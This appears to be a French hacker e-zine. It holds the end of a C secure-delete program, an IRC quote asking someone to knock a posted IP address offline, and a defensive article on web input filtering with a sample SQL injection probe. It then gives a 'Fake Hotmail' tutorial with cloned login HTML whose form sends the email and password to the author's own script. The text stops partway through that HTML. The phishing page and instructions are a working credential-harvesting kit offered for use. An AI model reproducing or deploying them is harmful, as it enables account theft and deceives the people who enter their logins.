                                ptcNewFilename[j] = (TCHAR) (32+(rand()%26));
                                break;
                        }
                    }
                }
                /* on renomme le fichier
                 *
                 * Selon MSDN:
                 *
                 * The MoveFile function will move (rename) either a file or a
                 * directory (including its children) either in the same
                 * directory or across directories.
                 */
                 if (!MoveFile(ptcCurFilename, ptcNewFilename))
                 {
                     _tprintf(_T("MoveFile faild with error: %lu\n"),
                                                                GetLastError());
                     return false;
                 }

                 // on assigne le nouveau nom de fichier comme étant le nom de
                 // fichier courant
                 _tcscpy(ptcCurFilename, ptcNewFilename);
            }

            // tout à bien été
            return true;
        }

        /* SecureDeleteFile
         *
         * Cette fonction gère la réécriture du fichier, la "suppression" du nom
         * de fichier, et finalement sa suppression du système de fichier.
         */
        void SecureDeleteFile(PTCHAR ptcFilename, DWORD dwFileSizeLow,
                                                           DWORD dwFileSizeHigh)
        {
            HANDLE hFile;
            DWORD dwNumberOfBytesToWrite;
            DWORD dwNumberOfBytesWritten;
            ULONGLONG ullTotalBytesWritten;
            ULARGE_INTEGER uliFileSize;
            bool bOverwriteOK, bRenameOK;
            PTCHAR ptcCurFilename;

            // init
            dwNumberOfBytesToWrite = 0;
            dwNumberOfBytesWritten = 0;
            ullTotalBytesWritten = 0;
            uliFileSize.QuadPart = 0;
            bOverwriteOK = false;
            bRenameOK = false;

            // si le fichier n'a pas une taille de zero
            if (dwFileSizeLow || dwFileSizeHigh)
            {
                /* on ouvre le fichier
                 *
                 * Selon MSDN:
                 *
                 * FILE_FLAG_WRITE_THROUGH :
                 * The system writes through any intermediate cache and goes
                 * directly to disk.
                 */
                hFile = CreateFile(ptcFilename,        // fichier à ouvrir
                               GENERIC_WRITE,          // mode écriture
                               0,                      // pas de partage
                               NULL,                   // sécurité pas défaut
                               OPEN_EXISTING,          // doit exister
                               FILE_FLAG_WRITE_THROUGH,// voir commentaire
                               NULL);                  // pas de template

                if (hFile == INVALID_HANDLE_VALUE)
                {
                    _tprintf(_T("CreateFile faild with error: %lu\n"),
                                                                GetLastError());
                    return;
                }

                // calcule la taille du fichier
                uliFileSize.LowPart = dwFileSizeLow;
                uliFileSize.HighPart = dwFileSizeHigh;

                // on boucle tant qu'il reste des données à écrire
                while(ullTotalBytesWritten < uliFileSize.QuadPart)
                {
                    // combien d'octect à écrire
                    dwNumberOfBytesToWrite = \
                             min(uliFileSize.QuadPart - ullTotalBytesWritten,
                                                          SDEL_OVERWRITEBUFFER);
                    // on appel la fonction pour réécrire le fichier
                    bOverwriteOK = FileOverwrite(hFile, dwNumberOfBytesToWrite,
                                                       &dwNumberOfBytesWritten);

                    // est-ce que l'opération à échoué
                    if (!bOverwriteOK)
                    {
                        CloseHandle(hFile);
                        return;
                    }

                    // on prend note du nombre total d'octects écrit jusqu'à
                    // maintenant
                    ullTotalBytesWritten += dwNumberOfBytesWritten;
                }

                // fini, on ferme le fichier
                CloseHandle(hFile);
            }

            // alloue de l'espace mémoire pour le nouveau nom de fichier
            ptcCurFilename = new TCHAR[_tcslen(ptcFilename)];

            // on renomme le fichier
            bRenameOK = FilenameOverwrite(ptcFilename, ptcCurFilename);

            // maintenant que nous avons réécrit et renommé sécuritairement le
            // fichier, nous pouvons passer à sa suppression.
            if (!DeleteFile(ptcCurFilename))
            {
                _tprintf(_T("Fail to delete the file, trying to rename it to " \
                                                "it's original filename...\n"));
                // si DeleteFile échoue, on renomme le fichier avec son nom
                // original pour ne pas mêler l'utilisateur.
                if (!MoveFile(ptcCurFilename,ptcFilename))
                    _tprintf(_T("Fail to rename the file back to it's " \
                                    "original name, the filename is now: %s\n"),
                                                                ptcCurFilename);
                return;
            }

            _tprintf(_T("%s has been deleted\n"),ptcFilename);
        }

        /* ParseFile
         *
         * Fait quelques vérification sanitaire question d'être sur que le
         * fichier spécifié est bien supporté par notre programme.
         */
        void ParseFile(PTCHAR ptcFilename)
        {
            WIN32_FILE_ATTRIBUTE_DATA FileAttr;
            TCHAR buffer[4096]="";
            PTCHAR lpPart[4096]={NULL};

            // cherche le chemin d'accès complèt du fichier. Le fichier n'a pas
            // besoin d'exister.
            if (!GetFullPathName(ptcFilename, 4096, buffer, lpPart))
            {
                _tprintf(_T("GetFullPathName faild with error: %lu\n"),
                                                                GetLastError());
                return;
            }

            // extraire les attribue du fichier
            if (!GetFileAttributesEx(buffer,GetFileExInfoStandard,&FileAttr))
            {
                _tprintf(_T("GetFileAttributesEx faild with error: %lu\n"),
                                                                GetLastError());
                return;
            }

            // on ne supporte pas la supression de répertoires
            if (FileAttr.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
                _tprintf(_T("Secure delete of directory not supported\n"));
                return;
            }

            // on ne supporte pas la supression pour les fichiers compressés,
            // encryptés ou "sparsed"
            if (FileAttr.dwFileAttributes & FILE_ATTRIBUTE_COMPRESSED ||
                         FileAttr.dwFileAttributes & FILE_ATTRIBUTE_ENCRYPTED ||
                         FileAttr.dwFileAttributes & FILE_ATTRIBUTE_SPARSE_FILE)
            {
                _tprintf(_T("Secure delete of compressed, encrypted or " \
                                               "sparsed file not supported\n"));
                return;
            }

            // on procède avec la suppression du fichier
            SecureDeleteFile(buffer, FileAttr.nFileSizeLow,
                                                        FileAttr.nFileSizeHigh);
        }

        /* _tmain
         *
         * entrypoint de notre programme
         */
        int _tmain(int argc, TCHAR *argv[])
        {
            // validation rapide des arguments
            if (argc<2)
            {
                _tprintf(_T("You must specify a file\n%s <file>\n"),argv[0]);
                return 1;
            }

            // ça commence...
            ParseFile(argv[1]);

            _tprintf(_T("\n"));

            return 0;
        }
        /*------------------CODE END HERE-------------------------------------*/

5. Conclusion

    Comme mentionné plus haut, ce code ne garantis pas que le fichier sera   supprimé de façon
    sécuritaire. Pourquoi? Simplement parce qu'il prend pour    aquis que le système garde les
    mêmes  unitées  d'allocation  (clusters) lors de  la réécriture. Cette information n'a pas 
    été vérifié lors de la rédaction de cette article.
    
    Comme  vous  avez  pu le constater dans le code ci-dessus, la suppression des répertoires, 
    des fichiers compressés ou encryptés, et les 'sparsed files' ne sont pas supportés    dans 
    l'exemple. De plus, un fichier normal peut se voir assigner plusieurs 'alternative stream'
    qui peuvent contenir des  informations relativent au fichiers    et/ou son   contenu.  Ces 
    'alternative stream' ne sont pas supportés non plus dans l'exemple ci-dessus.
    
    Vous devez donc considérer le code ci-dessus selement comme un exemple de   la   marche  à
    suivre pour  supprimer  un  fichier  de façon sécuritaire. Trop de variables n'ont pas été 
    tenu  compte, et le programme ne fonctionne peut-être pas sur toutes plateformes  Windows,   
    pour qu'il soit considéré comme LA solution parfaite.
    
    Vous pouvez aller visiter mon site web pour avoir un code un peu plus complèt   malgré  le 
    fait  que plusieurs chose n'ont pas encore été supporté. Il  semblerait que  Linux  aurait
    peut-être été plus simple à utiliser comme exemple afin de vous donner  un programme  plus 
    complet et final. Ça sera pour un autre article ou simplement intégré dans le code de SDEL 
    disponible sur  mon site web.





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |       by Ninja     |
           			                  '--------------------'





       
 						     
      ___ __________________ _ ________________________________________________________ ____
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                                                                         |  |
                          								 |  |
                 <R3pt|L3> 85.31.186.61  qlqun peut killer ca svp 			 |  |
                 									 |  |
                 <c4-> avant faut que taille placer largent dans un enveloppe brune      |  |
                       sous la poubelle, 2ieme rue a gauche                              |  |  
 										         |  |
          		                 					        /   '
 	  	    y'a rien de gratuit dans la vie, sauf votre mindkind :]            /   /B
	 	 	                       					      /   /u
                                                                                     /   /P
  	  		       						            /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   






     	    .-- -- ---- ----.
     	 ___|  MKD1001\007  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                  Le Controle des flux web
   
                                             AKA

                                     des flux pas du flu



                                      



Le filtrage des flux WEB

1 - Principe général

Il y a deux méthodes principalement employées pour le filtrage. 

Filtrage interne :  on  utilise  une collection de fonctions/classes pour «nettoyer» les  flux 
entrant de l'application.

Filtrage externe :  on  utilise un équipement réseau ou une application tierce pour «nettoyer» 
les flux entrant et sortant de l'application.

On  parle  de  filtrage des requètes envoyées au serveur : elle sont rejetées si elles ne sont 
pas conformes Ã  ce que l'on attend, ou bien leur contenu peut être réécrit ou nettoyé.

2 - Utilité

Évaluation du risque : EXTREMEMENT CRITIQUE.

Dans le top 10 OWASP des vulnérabilités 2003, 2004 :

A1 : Paramêtre non validé
A4 : Cross Site Scripting
A5 : Débordement de tampon
A6 : Failles d'injection

Quatre items du top dix, dont la plus répandue des failles de sécurité, sont  résolus  par  un 
filtrage efficace. Le  facteur  de  risque  est  donc  maximum,  et  la réponse apportée à  ce 
problème sera une application critique du système.

3 - Le problème de validité des flux.

Si l'on considère que la trame reçue est à  priori valide, on s'expose aux attaques :

Buffers overflows
Forced browsing
Cookie poisoning
SQL injection
Command Injection
Format string

Pour  filtrer les données entrantes et sortantes nous avons besoin de règles. Ces règles  sont 
définies par l'utilisation  de l'application et du framework dans lequel elle se trouve ( ex : 
gestion des échappements de caractères en PHP). Cette collection de règles va définir soit les 
requêtes valides (filtrage positif), soit les requêtes Ã  rejeter. 

Pour que cette validation ait un sens elle doit respecter elle-même des règles de bon sens :

La validation est-elle centralisée ?
La validation est-elle obligatoire ?
Tout  les  flux  sont-ils bien concernés (paramètres URL, cookies, en-têtes HTTP ...) ou juste 
les formulaires ?
Des paramêtres sont-ils utilisés avant la validation ?
Comment sont gérées les exceptions de la validation (handler) ?
Pouvez-vous détecter une attaque basée sur l'echec en boucle de la validation ?
Les échecs de validation sont-ils journalisés ?

4 “ Le filtrage interne à  l'application

Il s'agit de filtrer les variables que reçoit  l'application. Pour une application Web ce sont 
les variables GET, POSTS, COOKIES et SESSION. C'est un filtrage positif, on spécifie  dans  le 
masque uniquement ce qui est explicitement autorisé, le reste est nettoyé. Cette technique met 
l'accent sur la nécessité de développer ces applications web dans un framework cohérent qui va 
centraliser  le nettoyage des variables. Si cette couche applicative n'a pas été prévue dès le 
début du développement, il est extrêmement difficile de l'implémenter Ã  posteriori.

Ce filtrage valide les points suivants :

Le type de données (surtout dans un langage de programmation non typé)
Le jeu de caractères autorisé
La longueur minimale et maximale
Si le nul est permis
Si le paramêtre est exigé ou non
Si les duplicata sont permis
L'étendu numérique
Les valeurs légales spécifiques (ex : départements)
Les modêles spécifiques (masque regexp)

Exemple pour PHP : http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=106757

sanitize_paranoid_string($string) -- input string, returns string stripped of all non alphanumeric characters
sanitize_system_string($string) -- input string, returns string stripped of special characters
sanitize_sql_string($string) -- input string, returns string with slashed out quotes 
sanitize_html_string($string) -- input string, returns string with html replacements for special characters
sanitize_int($integer) -- input integer, returns ONLY the integer (no extraneous characters
sanitize_float($float) -- input float, returns ONLY the float (no extraneous characters)
sanitize($input, $flags) -- input any variable, performs sanitization functions specified in flags. flags can be bitwise combination of PARANOID, SQL, SYSTEM, HTML, INT, FLOAT, LDAP, UTF8

Exemple pour Java : Stinger ( http://www.owasp.org/software/validation/stinger.html ) .
5 “ le filtrage externe à l'application

Pourquoi filtrer  avant  l'application si on le fait correctement Ã  l'intérieur de celle-ci ?
Si  vous  ne  maîtrisez  pas  le  développement  de  vos  applications  (si, comme beaucoup de 
développeurs,  vous passez par des prestataires, des produits commerciaux ...), c'est la seule 
méthode  qu'il  vous  reste  pour  valider  vos  flux entrant et sortant. Comme il est presque 
impossible d'être sûr Ã  100% qu'une application qui doit vivre (évolution, patchs  correctifs 
etc ...)  ne  comporte  pas  d'oubli  ou de défaut de structure, c'est le principe ceinture et 
bretelles :)

Il existe deux mÃ©thodes :

a ) En utilisant un module sur une couche applicative au-dessus de votre application, comme le 
modSecurity d'Apache ou URLScan et Lockdown pour IIS.

Ces  modules  permettent  de traiter efficacement les problèmes de validation de flux pour les 
applications  Web.  Ils  montrent cependant leurs limites lorsque l'application à  protéger  a 
beaucoup de variables et surtout si l'on connaît mal celle-ci. Dans ce cas,  la  gestion   des 
exceptions  de traitement ( variable recevant des données potentiellement rejetées et qui sont 
de  cette  façon  sur-traitées  par  l'application )  peut vite devenir un casse-tête. De plus 
lorsque  l'application évolue il ne faut pas oublier de vérifier qu'il n'y a rien Ã  faire sur 
la configuration du module.

Cette  protection  est  particulièrement discrète car elle inclue la possibilité de rediriger, 
avec un code statut de page souhaitée ou vers une url. Pour cela il est conseillé d'adapter la 
redirection selon le masque qui l'a déclenché: une malformation d'en-tête http  ne devrait pas 
donner le même message d'erreur qu'une tentative d'injection SQL.

La chute de performance est dépendante de la complexité et du nombre de masques de  validation 
utilisé, elle se situe entre  5% et 15% en moyenne.

Exemple de configuration de  mod_security : 

http://www.gotroot.com/downloads/ftp/mod_security/rules.conf

Fonctionnalités de mod_security :
Prévention des requêtes sur d'autres chemins du Système de fichier
Suppression des multiples slash
Traite les anti-slash et les slash de la même manière (Windows seulement) 
Supprime l'auto référence des répertoire (./)
Détecte et supprime les null-bytes (%00) 
Décode les caractères encodés d'une URL
Validations
Validation de l'encodage de l'URL
Validation de l'encodage unicode
Détection et rejet des Shell Code (vérification du byte range)
Règles
Supporte autant de règles personnalisées que l'on souhaite.
Les Règles sont des expressions régulières.
Support des Règles négatives.
Chaque container (VirtualHost, Location, ...) peut avoir sa configuration.
Analyses des headers (en-têtes http)
Analyses de chaque cookie 
Analyses des variables d'environnement 
Analyses variables de serveur.
Analyses unitaires des variables de page. 
Analyses des POST payload .
Analyses des flux de sortie de script .
Actions
Rejette une requète avec le code Statut de page désiré
Redirige une requète rejeté
Exécute un programme externe pour un masque de requète
Journalise les requètes
Peut laisser passer les requètes choisies
Permet de chaîner des requètes 
Permet d'exclure des règles sur le test d'une règle
Possibilité de définir des pauses en millisecondes
Envoi de fichiers
Intercepte les fichiers envoyés au serveur
Peut stocker les fichiers envoyés
Exécute un script externe pour approuver ou rejeter un fichier (ex: anti-virus ) 
Autres
Change la signature du serveur
Peut être facilement chroot
Journal des requètes complètes pour l'audit
Permet de gérer des journaux de débogage
Fonction intelligente qui permet d'appliquer les filtres uniquement sur les contenus dynamiques

b ) En utilisant un équipement réseau supplémentaire comme mandataire pour le réseau interne.

Un  équipement  réseau  responsable  de  la  validation  des flux décharge le processeur et la 
mémoire  du  serveur  web,  de  plus  cela  crée  un  «  single point of faillure » dans votre 
architecture Web.

Les  solutions existantes proposent généralement des fonctionnalitÃ©s supplémentaires comme de 
l'accélération SSL,  la  réécriture  d'URL  ( url  masking ),  l'authentification  centralisée 
( SSO ) et de la répartition de charge ( load balancing ). Dans les offres les plus  abouties, 
on  trouve  aussi  une  mise  a  jour  automatique  qui  enrichit la base des masques avec les 
« signatures » des derniers vers ou des dernières attaques connues.

Certaines  solutions  proposent  un apprentissage automatique des variables du serveur et leur 
donnent  des  masques  génériques  ( en  fonction du type de champ : text, textarea, etc ...). 
C'est  une  fonctionnalité  essentielle  lorsque  l'on  doit superviser des sites qui évoluent 
souvent, qui intègrent des développements externes, ou qui ont beaucoup de pages. 

Utiliser  un  équipement  externe  permet  aussi  de cloisonner les flux, c'est alors le proxy 
inverse  qui  distribue  vers  les  différents  serveurs  les  requètes. Cela masque aussi les 
serveurs  d'applications derrière le site puisque seul le reverse proxy est connecté à 
Internet. 

Le coût en performance est environ de 20% Ã  30% d'allongement du temps de réponse.

Exemple : Reverse Proxy SSO (open source )

Vulture est un firewall applicatif protégeant efficacement les applications Web.  Basé sur une 
technologie  de  Proxy Inverse,  Vulture  fait  barrière  entre  les  applications et le monde 
extérieur. Il prend en charge toutes les fonctionnalités liées Ã  la sécurité, et notamment : 

L'authentification des utilisateurs 
Le chiffrement des flux 
Le filtrage de contenu 
La réécriture des Url 
La haute disponibilitÃ© 
La répartition de charge 


Exemple : Avec Apache

Serveur Web Apache 
Module mod_proxy et mod_proxy_http 
Module Mod_Security 
Module mod_ssl, si on veut faire du HTTPS 




La configuration basique d'Apache pour le firewall applicatif : 

ServerName www.serveur.com
#pour que nous ce ne soit pas un proxy ouvert
ProxyRequests Off
ProxyPass / http://192.168.0.10/
ProxyPassReverse / http://192.168.0.10/
ServerName www.unautre.com
ProxyRequests Off 
ProxyPass / http://192.168.0.11/ 
ProxyPassReverse / http://192.168.0.11/ 


6 “ Points faibles

L'analyse  des  masques utilisés pour filtrer permet de déterminer quelle syntaxe sera rejetée 
ou acceptée (ex : javascript et java script).

Certaines variables doivent absolument laisser passer tous les caractères et traiter ceux-ci a 
posteriori; c'est un point délicat. L'analyse du flux sortant permet  de  limiter  les risques 
tout en étant difficile Ã  mettre en oeuvre (ex : webmails).

Dans le cas d'un équipement réseau supplémentaire, c'est lui seul qui est exposé aux  attaques 
(single point of faillure). Il devra être particulièrement robuste et surveillé.

7 “ Du point de vue du pirate

La détection d'un reverse proxy est délicate. On peut essayer de  déclencher  des  erreurs  de 
scripts et de serveur pour voir si les réponses du serveur sont cohérentes.

Ex : Quand votre requète est rejetée (ex : ?...&var=' OR 1=1;#) une page d'erreur apparaît, si 
c'est une erreur 500 ou 404 cela n'est pas logique. Le problème est qu'il contient  maintenant 
ces attaques dans le journal ... 

Si  l'on  sait  quelle  application de filtrage est installÃée (dans les crédits du vendeur de 
solution de sécurité par exemple) , l'analyse des filtres par défaut peut révéler des 
faiblesses.

écrit par Indalo 

     __  __           __  _____
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.





     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Indalo     |
           			                  '--------------------'  






      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                 IRC et ses clowns de service            	         :  .
                                                                                         |  |
                                                        				 |  .
                           <beenph> c'est full en force ici                              '  '
 			   <beenph> ye pas la le king du berger                          |  |
                           <beenph> je cherchais ma boulette                             |  |
                           <beenph> jme disais que peut-etre tu l'avais vu tapette       |  |
                           <beenph> t'en penses quoi toi __2                             |  '
                           <beenph> tu es dans le mood on ce souvien que on etait jeune et  ;
                                    con aujourd'hui wyzeman reve seulement d'etre jeune? |  |
			   <beenph> dommmage j'etais ici pour me faire des nouveau amis  |  |
                           <beenph> surtout du genre qui camp le nick du monde pour ce   |  |
                                    faire croire qui sont bon                            :  ;
                           <beenph> hein mon petite wyzy                                 .  |                
                           <beenph> ma bande d'idleux                                    |  |
                                                                                         '  |
										         |  |
                           <beenph> yo la gang de poulaki                                |  '
                           <beenph> ca boum pyrofreak                                    .  ,
                           <beenph> lol 						 |  |
                           <beenph> full h4x0r                                           |  |
                           <beenph> lol 						 :  .
                           <beenph> entouka prochain gt au  berger king les boys         |  |
                           <beenph> c'est wyzeman qui paye                               .  ;      
                     									 |  |
				                                         	         |  |
                           <beenph> Hey ou steak cacher HAAHHAHA                	/   '
 	                   <beenph> hey la boulette   		                       /   / B
	  		   <beenph> tu fais ta timide sors de ton pain		      /   / U   
  	   		   <beenph> lol		 			             /   , P   
                                        			                    /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
           




     	    .-- -- ---- ----.
     	 ___|  MKD1001\008  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'

                                        Fake Hotmail

                                            AKA

                              L'art d'etre vrai quand tes pas vrai

 

	N'est stupide que la stupidité, mais  pour  une  raison que j'ignore des gens cherches 
à faker hotmail depuis aussi longtemps que je puisse me souvenir et aucune  release valable et 
simple d'utilisation n'est accessible à partir d'une simple  recherche  sur google depuis tout 
se  temps.  Alors que pourtant on peu facilement en moin de une heure confectionner un fake de 
hotmail plus simple a utiliser qu'une cuillere. Une touche de wget, un peu de parsing, quelque 
ligne de php et nous voici  well  suit  pour faire nos faussaires de la male virtuel. Je ne me 
contenterais pas de vous donnez le poisson sans vous apprendre à pècher,  en  effet,   hotmail 
change de look  de  facon  réguliere depuis ses debuts, et le fake présentement offert ne sera 
pas indefiniment au gout du jour. Mais en expliquant la facon d'on je l'ai créé,  vous  serrez 
en mesure de l'appliquer sur les prochaines version de hotmail.


	On peu diviser en 3 etapes distinctives les procedures à suivre afin de se créer  sont 
propre fake hotmail maison. Soit, la ceuillette du matériel de base, l'analyse  et  le trimage 
des sources et en dernier lieu la redirection et la récupération des donner frauduleuses. Pour 
se faire, vous aurez besoin de quelques  outils  dont : wget ou curl, un browser web graphique 
et php ou perl. L'exemple qui suit demontreras la methode utiliser avec wget et php. 



	1) ceuillette du materiel de base


	
	la technique est plutot simple, il suffit de taper www.hotmail.com dans un
browser quelquonque, de copier coller le lien reel vers lequel on est rediriger, et
de faire un wget sur se url. nous obtiendrons un fichier html dans lequel si on y
regarde comme il faut, on peu trouver les url des differents fichier javascript
requis pour assurer le clonage integrale de la page dacceuille de hotmail. Certain
dentre eux seront a disabler plus tard pour assurer la redirection telle que desirer.
Dans le pire des cas nous pouvons nous passer de tout les javascripts il ne controle
que des options de la page dacceuille et naffecte pas le bon deroulement du 
formulaire outre sa redirection. Je conseillerais aussi de downloader le ficher css
de hotmail, mais vous pouvez toujours utiliser ceux hoster sur hotmail meme, tant que
les urls ne seront pas modifier. Par contre en les incorporants a votre fake hotmail
vous lui assurez une stabiliter suplementaire 





	2) analyse et trimage des sources

	
	Bon la premiere chose que lon decouvre c'est que les sources de hotmail 
utilise un format de fin de ligne de type \n et non pas \r\n, ce qui nous impose
une premiere conversion si nous travaillons sous windows, sous peine de ne pas
sy retrouver beaucoup, en second afin de bien comprendre le code, je suggere de
trimer au maximum le contenu dune copie afin doptenir le minimum requis pour que
le formulaire dinscription fonctionne tout en conservant le look initial. vous
devrier obtenir quelque chose du genre :


<!-- ServerInfo: BAYPPLOGU2B06 2006.01.27.13.57.29 Live1 ExclusiveNew LocVer:0 -->
<!-- PreprocessInfo: ppbuild:PASSBLD06, Fri 01:27:2006-12:13:33.93 -- Version: 3,300,4579,0 -->
<html>
<head>
<title>
Sign In
</title>
<meta name="PageID" content="i5030"/>
<meta name="SiteID" content="2"/>
<meta name="ReqLC" content="1033"/>
<meta name="LocLC" content="1033"/>
<link rel="stylesheet" type="text/css" 
href="http://login.passport.net/pp330/CSS/WEBblue1033.css?x=3.200.4104.0"/>
<style type="text/css" media="screen">.css0086
{border:1px solid #336699;}
.css0086
{border-width:2px;}
.css0145
{border:1px solid #DEEBF5;}
.css0144,.css0147
{background-color:#336699;}
.css0145
{background-color:#DEEBF5;}
.css0146
{background-color:#DEEBF5;}
.css0059,.css0150,.css0070,.css0148
{color:#336699;}
a
{color:#336699;}
.css0064 a,.css0027 a
{color:#336699;}
a:hover,.css0144 a:hover,.css0023 a:hover,.css0028 a:hover,.css0172
{color:#336699;}
.css0064 a:hover,.css0027 a:hover
{color:#336699;}
.css0002
{color:#FFF;}
.css0025,.css0025 a,.css0175,.css0175 a,.css0029,.css0029 a
{color:#FFF;}
.css0025 a:hover,.css0029 a:hover,.css0175 a:hover
{color:#FFF;}
body,.css9999,.css9996{ margin:0;padding:0;width:100%;height:100%;}.css9997{ 
width:100%;vertical-align:top;background:#DEEBF5;padding:1px;margin:0;}.css9996{ 
background:#336699;}.css9993{ 
width:431px;height:425px;background:#DEEBF5;}
</style>
</head>
<body >
<table cellpadding="0" cellspacing="0" border="0" class="css9999">
	<tr>
		<td colspan="2">
		<iframe src="http://cb2.msn.com/header.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="100%" height="112" frameborder="0" scrolling="no" align="top" marginwidth="0" marginheight="0" name="i6000">
		</iframe>
		</td>
	</tr>
	<tr>
		<td valign="top" class="css9993">
		<iframe src="http://cb2.msn.com/signup.armx?lid=1033&cbpage=login&lc=1033&x=3.200.4104.0" width="431" height="425" frameborder="0" scrolling="no" align="top" marginwidth="0" marginheight="0" name="i6001">
		</iframe>
		</td>
	<td class="css9997">
		<form name="f1" style="margin:0px;" method="POST" target="_top"  action="mkd.php" >
                <input type="hidden" id="i0326" name="PPSX" value="Pass"/>
                <input type="hidden" name="PwdPad" id="i0340" value=""/>
                <table cellpadding="0" cellspacing="0" class="css0086">
                	<tr>
				<td class="css0144">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td class="css0002">
						Sign In to Hotmail
						</td>
						<td valign="middle" align="right" class="css0029">
						<nobr> 
						<a href="javascript:DoHelp('NoPHKeyWord','','1033','MSN,103','','330');" id="i1055">Help</a>
						</nobr>
						</td>
					</tr>
				</table>
				</td>
			</tr>
			<tr>
				<td class="css0145">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td class="css0119" colspan="2">
						<table cellpadding="0" cellspacing="0" id="i0519" style="display:none;" class="css0113">
							<tr>
								<td class="css0122">
								<img 
src="http://login.passport.net/pp330/images/icon_err.gif?x=3.200.4104.0" alt="Error 
symbol" id="i2017"/>
								</td>
								<td class="css0149">
								<span  class="css0023">Please type your e-mail address in the following format: yourname@example.com. <a href="javascript:DoHelp('PPSlhlpd','','1033','MSN,1033','','330');" id="i1056">Need help signing in?</a></span>
								</td>
							</tr>
						</table>
						</td>
					</tr>
					<tr>
						<td valign="top" class="css0059" align="right">
						<label for="i0116">E-mail address:</label>
						</td>
						<td valign="top" class="css0093">
						<input name="login" type="text" 
id="i0116" maxlength="113" autocomplete="off"  value="" style="ime-mode:disabled" class="css0034" />
						</td>
					</tr>
					<tr style="display:none;" id="i0512">
						<td class="css0096" style="font-size:1px;">
						&nbsp;
						</td>
						<td class="css0097">
						<table cellpadding="0" cellspacing="0" class="css0113">
							<tr>
								<td class="css0122">
								<img 
src="http://login.passport.net/pp330/images/icon_err.gif?x=3.200.4104.0" alt="Error 
symbol" id="i2017"/>
								</td>
								<td class="css0149">
								<span  class="css0023">This information is required.</span>
								</td>
							</tr>
						</table>
						</td>
					</tr>
					<tr>
						<td valign="top" class="css0059" align="right">
						<label for="i0118">Password:</label>
						</td>
						<td valign="top" class="css0093">
						<input name="passwd" type="password" id="i0118" maxlength="16" autocomplete="off"  value="" style="ime-mode:disabled" class="css0034" />
						<div class="css0064"><a href="https://login.passport.com/resetpw.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&_lang=EN&id=2&vv=330&lc=1033&bk=1140888769" id="i1011" >Forgot your password?</a></div>
						</td>
					</tr>
				</table>
				<div class="css0170" align="right">
				<nobr>
				<input name="SI" id="i0011" type="submit" value="    Sign In    " class="css0088"  />
				</nobr>
				</div>
				</td>
			</tr>
			<tr>
				<td class="css0146">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0136" value="1"  />
						</td>
						<td valign="top" class="css0041">
						<label for="i0136">Save my e-mail address and password</label>
						</td>
					</tr>
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0137" value="2" checked />
						</td>
						<td valign="top" class="css0041">
						<label for="i0137">Save my e-mail address</label>
						</td>
					</tr>
					<tr>
						<td valign="top" >
						<input type="radio" name="LoginOptions" id="i0138" value="3"  />
						</td>
						<td valign="top" class="css0041">
						<label for="i0138">Always ask for my e-mail address and password</label>
						</td>
					</tr>
				</table>
				<div style="padding:3px 0 0 0;font-size:0;">&nbsp;
				</div><p class="css0006" style="padding-left:5px;">
				<a href="https://login.passport.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&tw=0&fs=1&fsa=1&fsat=1296000&lc=1033&_lang=EN&bk=63169598" id='i1663'>Sign in using enhanced security</a></p>
				</td>
			</tr>
			<tr>
				<td class="css0147">
				<table cellpadding="0" cellspacing="0" class="css0113">
					<tr>
						<td rowspan="2" valign="top">
						<a 
href="https://accountservices.passport.net/ppnetworkhome.srf?id=2&vv=330&lc=1033" 
target="_blank" id="i1071"><img 
src="http://login.passport.net/pp330/images/ic028.gif?x=3.200.4104.0" 
alt="Microsoft Passport Network" border="0" id="i2033" class="css0189"/></a>
						</td>
						<td class="css0175">
						<a href="https://accountservices.passport.net/ppnetworkhome.srf?id=2&vv=330&lc=1033" target="_blank" id="i1071">Microsoft Passport Network</a>
						</td>
					</tr>
					<tr>
						<td class="css0025">
						<nobr>
						<a href="https://accountservices.passport.net/?vv=330&lc=1033&id=10" target="_top" id="i1081">Account Services</a>&nbsp;|&nbsp;
						</nobr>
						<nobr>
						<a href="https://accountservices.passport.net/PPPrivacyStatement.srf?ru=http://login.passport.net/uilogin.srf%3Fid%3D2%26vv%3D330%26lc%3D1033&id=2&vv=330&lc=1033" target="_top" id="i1518">Privacy Statement</a>&nbsp;|&nbsp;
						</nobr>
						<nobr>
						<a href="https://accountservices.passport.net/PPTOU.srf?ru=http://login.passport.net/uilogin.srf%3Fid%3D2%26vv%3D330%26lc%3D1033&id=2&vv=330&lc=1033" target="_top" id="i1009">Terms of Use</a>
						</nobr>
						</td>
					</tr>
					<tr>
						<td colspan="2" class="css0025" style="padding:3px 0 0 0">
